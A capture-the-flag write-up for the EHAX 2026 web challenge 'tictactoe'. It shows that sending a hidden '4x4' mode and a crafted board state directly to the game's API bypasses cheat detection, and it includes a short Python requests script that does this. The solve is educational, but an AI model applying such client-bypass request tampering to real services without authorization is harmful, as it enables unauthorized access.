← Back to EHAX 2026

tictactoe

Web 431 pts

Challenge

The NEURAL-LINK CORE v4.4 is online, and its logic is absolute. If you want the flag, you'll have to break the protocol, not just the game.

URL: https://ctf-challenge-1-beige.vercel.app/

Analysis

The game is a 3x3 tic-tac-toe against an unbeatable minimax AI. The UI only sends mode: "3x3", but the server supports a hidden "4x4" mode.

Key hint messages discovered:

  • Cheat detection: "flag only releases for a valid dimensional shift"
  • Draw: "Perhaps you should inspect the headers of your reality"
  • 4x4 mode: "AI sensors blind in ghost sectors"
  • README.md at /README.md contained the full solution

Exploit

The server's 4x4 mode has no cheat detection. Send 3 pieces in the 4th column (ghost sector), which the 3x3 AI cannot see or block:

import requests

payload = {
    "mode": "4x4",
    "state": [
        [0, 0, 0, 1],  # X in col 3
        [0, 0, 0, 1],  # X in col 3
        [0, 0, 0, 1],  # X wins col 3
        [0, 0, 0, 0]
    ]
}

r = requests.post('https://ctf-challenge-1-beige.vercel.app/api', json=payload)
print(r.json())

The server returns: "AI: Protocol bypassed... You didn't just play the game; you rewrote the rules."

Key Takeaways

  • Always check for a README.md or similar exposed files on Vercel deployments
  • "Break the protocol" = bypass the client-side UI and interact with the API directly
  • Hidden modes can have weaker validation (no cheat detection in 4x4 mode)